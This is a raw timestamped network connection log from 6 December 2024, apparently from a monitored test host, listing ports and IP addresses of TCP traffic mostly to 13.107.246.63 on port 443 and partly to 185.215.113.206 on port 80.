Dec 6, 2024 22:08:33.618108034 CET	49750	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:33.713232994 CET	49750	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:33.766489029 CET	49752	443	192.168.2.7	172.217.19.206
Dec 6, 2024 22:08:33.766525030 CET	49741	443	192.168.2.7	142.250.181.68
Dec 6, 2024 22:08:33.766666889 CET	49753	443	192.168.2.7	142.250.181.110
Dec 6, 2024 22:08:33.766710997 CET	49755	443	192.168.2.7	172.217.19.206
Dec 6, 2024 22:08:33.805555105 CET	443	49745	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.805624962 CET	443	49745	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.805644035 CET	443	49744	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.805715084 CET	49745	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:33.805737019 CET	443	49744	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.805924892 CET	443	49748	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.805973053 CET	49744	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:33.805975914 CET	443	49748	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.806020975 CET	49745	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:33.806036949 CET	443	49745	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.806046963 CET	49745	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:33.806054115 CET	443	49745	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.806067944 CET	49748	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:33.806320906 CET	443	49746	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.806374073 CET	443	49746	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.806487083 CET	49746	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:33.807944059 CET	49746	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:33.807965040 CET	443	49746	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.808088064 CET	49746	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:33.808094025 CET	443	49746	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.809168100 CET	49744	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:33.809171915 CET	443	49744	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.809182882 CET	49744	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:33.809186935 CET	443	49744	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.810081959 CET	49748	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:33.810106993 CET	443	49748	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.810138941 CET	49748	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:33.810152054 CET	443	49748	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.812341928 CET	49756	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:33.812370062 CET	443	49756	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.812426090 CET	49756	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:33.813330889 CET	49757	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:33.813366890 CET	443	49757	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.813420057 CET	49757	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:33.813678980 CET	443	49749	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.813705921 CET	49756	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:33.813718081 CET	443	49756	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.813741922 CET	443	49749	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.813808918 CET	49749	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:33.814129114 CET	49757	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:33.814140081 CET	443	49757	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.814544916 CET	49749	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:33.814544916 CET	49749	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:33.814558029 CET	443	49749	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.814573050 CET	443	49749	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.816582918 CET	49758	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:33.816591978 CET	443	49758	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.816817045 CET	49758	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:33.817496061 CET	49758	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:33.817506075 CET	443	49758	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.818181992 CET	49759	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:33.818190098 CET	443	49759	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.818243027 CET	49759	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:33.818511963 CET	49759	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:33.818520069 CET	443	49759	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.819026947 CET	49760	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:33.819046974 CET	443	49760	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.819088936 CET	49760	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:33.819221973 CET	49760	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:33.819232941 CET	443	49760	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:33.833158970 CET	80	49750	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:33.960375071 CET	49677	443	192.168.2.7	20.50.201.200
Dec 6, 2024 22:08:34.066626072 CET	443	49751	23.218.208.109	192.168.2.7
Dec 6, 2024 22:08:34.066710949 CET	443	49751	23.218.208.109	192.168.2.7
Dec 6, 2024 22:08:34.072032928 CET	49751	443	192.168.2.7	23.218.208.109
Dec 6, 2024 22:08:34.155258894 CET	49751	443	192.168.2.7	23.218.208.109
Dec 6, 2024 22:08:34.155292988 CET	443	49751	23.218.208.109	192.168.2.7
Dec 6, 2024 22:08:34.155306101 CET	49751	443	192.168.2.7	23.218.208.109
Dec 6, 2024 22:08:34.155318022 CET	443	49751	23.218.208.109	192.168.2.7
Dec 6, 2024 22:08:34.646703005 CET	80	49750	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:34.646826029 CET	49750	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:35.530348063 CET	443	49757	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:35.530627012 CET	443	49756	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:35.530983925 CET	49757	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:35.531008959 CET	443	49757	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:35.531084061 CET	49756	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:35.531105042 CET	443	49756	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:35.531486988 CET	49757	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:35.531493902 CET	443	49757	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:35.531580925 CET	49756	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:35.531585932 CET	443	49756	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:35.532596111 CET	443	49759	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:35.533118010 CET	49759	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:35.533126116 CET	443	49759	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:35.533555984 CET	49759	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:35.533560038 CET	443	49759	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:35.533917904 CET	443	49758	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:35.534200907 CET	49758	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:35.534209013 CET	443	49758	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:35.534346104 CET	443	49760	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:35.534552097 CET	49758	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:35.534558058 CET	443	49758	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:35.534595966 CET	49760	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:35.534621954 CET	443	49760	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:35.535064936 CET	49760	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:35.535073042 CET	443	49760	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:35.965356112 CET	443	49757	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:35.965425968 CET	443	49757	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:35.965483904 CET	49757	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:35.965929985 CET	443	49756	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:35.965989113 CET	443	49756	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:35.966027021 CET	49756	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:35.966468096 CET	443	49759	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:35.966519117 CET	443	49759	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:35.966581106 CET	49759	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:35.968008041 CET	443	49758	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:35.968063116 CET	443	49758	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:35.968108892 CET	49758	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:35.970427990 CET	443	49760	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:35.970494032 CET	443	49760	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:35.970534086 CET	49760	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:35.998564005 CET	49760	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:35.998585939 CET	49757	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:35.998603106 CET	443	49757	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:35.998604059 CET	443	49760	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:35.998614073 CET	49757	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:35.998620033 CET	443	49757	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:35.998630047 CET	49760	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:35.998636007 CET	443	49760	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:35.999453068 CET	49756	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:35.999478102 CET	443	49756	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:35.999492884 CET	49756	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:35.999499083 CET	443	49756	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:36.000260115 CET	49759	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:36.000267029 CET	443	49759	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:36.000276089 CET	49759	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:36.000278950 CET	443	49759	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:36.000382900 CET	49758	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:36.000399113 CET	443	49758	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:36.000411034 CET	49758	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:36.000413895 CET	443	49758	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:36.060098886 CET	49761	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:36.060152054 CET	443	49761	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:36.060220957 CET	49761	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:36.112818956 CET	49762	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:36.112879038 CET	443	49762	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:36.112987041 CET	49762	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:36.134963036 CET	49761	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:36.134999037 CET	443	49761	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:36.140691996 CET	49762	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:36.140722036 CET	443	49762	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:36.145014048 CET	49763	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:36.145056963 CET	443	49763	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:36.145212889 CET	49763	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:36.145299911 CET	49763	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:36.145309925 CET	443	49763	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:36.148421049 CET	49764	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:36.148468018 CET	443	49764	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:36.148621082 CET	49764	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:36.148677111 CET	49765	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:36.148704052 CET	443	49765	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:36.148812056 CET	49764	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:36.148823023 CET	443	49764	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:36.148858070 CET	49765	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:36.152329922 CET	49765	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:36.152343035 CET	443	49765	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:37.860059023 CET	443	49761	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:37.860990047 CET	49761	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:37.861022949 CET	443	49761	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:37.862812996 CET	49761	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:37.862818956 CET	443	49761	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:37.874363899 CET	443	49763	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:37.874911070 CET	49763	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:37.874929905 CET	443	49763	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:37.875742912 CET	443	49762	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:37.877619028 CET	49763	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:37.877624989 CET	443	49763	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:37.878004074 CET	49762	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:37.878035069 CET	443	49762	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:37.879838943 CET	49762	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:37.879853964 CET	443	49762	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:37.889828920 CET	443	49764	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:37.891204119 CET	49764	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:37.891238928 CET	443	49764	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:37.892074108 CET	49764	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:37.892082930 CET	443	49764	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:37.901139975 CET	443	49765	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:37.905240059 CET	49765	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:37.905258894 CET	443	49765	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:37.910434961 CET	49765	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:37.910442114 CET	443	49765	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:38.294560909 CET	443	49761	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:38.294629097 CET	443	49761	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:38.294718981 CET	49761	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:38.296775103 CET	49761	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:38.296785116 CET	443	49761	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:38.296799898 CET	49761	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:38.296804905 CET	443	49761	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:38.310261011 CET	443	49762	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:38.310319901 CET	443	49762	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:38.310390949 CET	49762	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:38.312642097 CET	443	49763	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:38.312705040 CET	443	49763	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:38.314039946 CET	49763	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:38.326603889 CET	443	49764	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:38.326658010 CET	443	49764	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:38.326729059 CET	49764	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:38.330171108 CET	49766	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:38.330210924 CET	443	49766	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:38.330271006 CET	49766	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:38.337699890 CET	443	49765	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:38.337768078 CET	443	49765	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:38.337863922 CET	49765	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:38.419816017 CET	49762	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:38.419848919 CET	443	49762	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:38.419903994 CET	49762	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:38.419909954 CET	443	49762	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:38.499152899 CET	49765	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:38.499183893 CET	443	49765	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:38.499197960 CET	49765	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:38.499203920 CET	443	49765	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:38.499918938 CET	49763	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:38.499949932 CET	443	49763	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:38.499968052 CET	49763	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:38.499974012 CET	443	49763	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:38.523396015 CET	49764	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:38.523430109 CET	443	49764	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:38.523449898 CET	49764	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:38.523458004 CET	443	49764	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:38.534847021 CET	49766	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:38.534866095 CET	443	49766	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:38.539710045 CET	49767	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:38.539736986 CET	443	49767	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:38.539885998 CET	49767	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:38.542063951 CET	49768	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:38.542104959 CET	443	49768	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:38.542181969 CET	49768	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:38.542306900 CET	49768	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:38.542318106 CET	443	49768	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:38.543958902 CET	49769	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:38.543998003 CET	443	49769	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:38.544092894 CET	49769	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:38.544433117 CET	49767	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:38.544446945 CET	443	49767	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:38.545103073 CET	49770	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:38.545114994 CET	443	49770	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:38.545284986 CET	49770	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:38.545525074 CET	49770	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:38.545533895 CET	443	49770	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:38.546200991 CET	49769	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:38.546212912 CET	443	49769	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:39.651676893 CET	80	49750	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:39.651736021 CET	49750	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:40.264010906 CET	443	49768	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.264646053 CET	49768	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:40.264683008 CET	443	49768	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.265201092 CET	49768	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:40.265207052 CET	443	49768	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.266067028 CET	443	49769	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.266133070 CET	443	49766	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.266413927 CET	443	49767	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.266413927 CET	49769	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:40.266450882 CET	443	49769	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.266469955 CET	443	49770	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.267004013 CET	49769	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:40.267009020 CET	443	49769	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.267183065 CET	49766	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:40.267198086 CET	443	49766	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.267549992 CET	49766	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:40.267555952 CET	443	49766	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.268168926 CET	49767	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:40.268168926 CET	49767	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:40.268184900 CET	443	49767	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.268194914 CET	443	49767	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.268481970 CET	49770	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:40.268503904 CET	443	49770	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.268872023 CET	49770	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:40.268881083 CET	443	49770	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.699327946 CET	443	49768	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.699400902 CET	443	49768	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.699696064 CET	49768	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:40.699696064 CET	49768	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:40.699978113 CET	49768	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:40.700000048 CET	443	49768	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.700964928 CET	443	49767	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.701016903 CET	443	49767	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.701106071 CET	443	49769	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.701160908 CET	443	49769	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.701234102 CET	49769	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:40.701236010 CET	49767	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:40.701447964 CET	49769	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:40.701447964 CET	49769	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:40.701467037 CET	443	49769	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.701476097 CET	443	49769	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.701508045 CET	49767	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:40.701508045 CET	49767	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:40.701524973 CET	443	49767	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.701534033 CET	443	49767	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.701699972 CET	443	49766	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.701764107 CET	443	49766	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.702608109 CET	443	49770	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.702673912 CET	443	49770	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.702756882 CET	49770	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:40.702760935 CET	49766	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:40.702908993 CET	49770	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:40.702908993 CET	49770	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:40.702915907 CET	443	49770	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.702924967 CET	443	49770	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.703140020 CET	49766	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:40.703140974 CET	49766	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:40.703155994 CET	443	49766	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.703166008 CET	443	49766	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.705557108 CET	49772	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:40.705557108 CET	49773	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:40.705593109 CET	443	49773	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.705601931 CET	443	49772	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.705681086 CET	49772	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:40.705682039 CET	49773	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:40.706003904 CET	49774	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:40.706013918 CET	443	49774	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.706640005 CET	49773	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:40.706640959 CET	49775	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:40.706655979 CET	443	49773	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.706665993 CET	443	49775	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.706681013 CET	49774	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:40.706830025 CET	49775	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:40.706830025 CET	49775	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:40.706851959 CET	49776	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:40.706854105 CET	443	49775	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.706855059 CET	49772	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:40.706866980 CET	443	49772	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.706872940 CET	443	49776	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.706973076 CET	49776	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:40.706973076 CET	49774	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:40.706984997 CET	443	49774	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:40.707015991 CET	49776	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:40.707022905 CET	443	49776	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.548640013 CET	443	49774	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.549309015 CET	443	49773	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.549367905 CET	49774	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:42.549400091 CET	443	49774	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.549612045 CET	49773	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:42.549628973 CET	443	49773	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:42.549946070 CET	49774	443	192.168.2.7	13.107.246.63
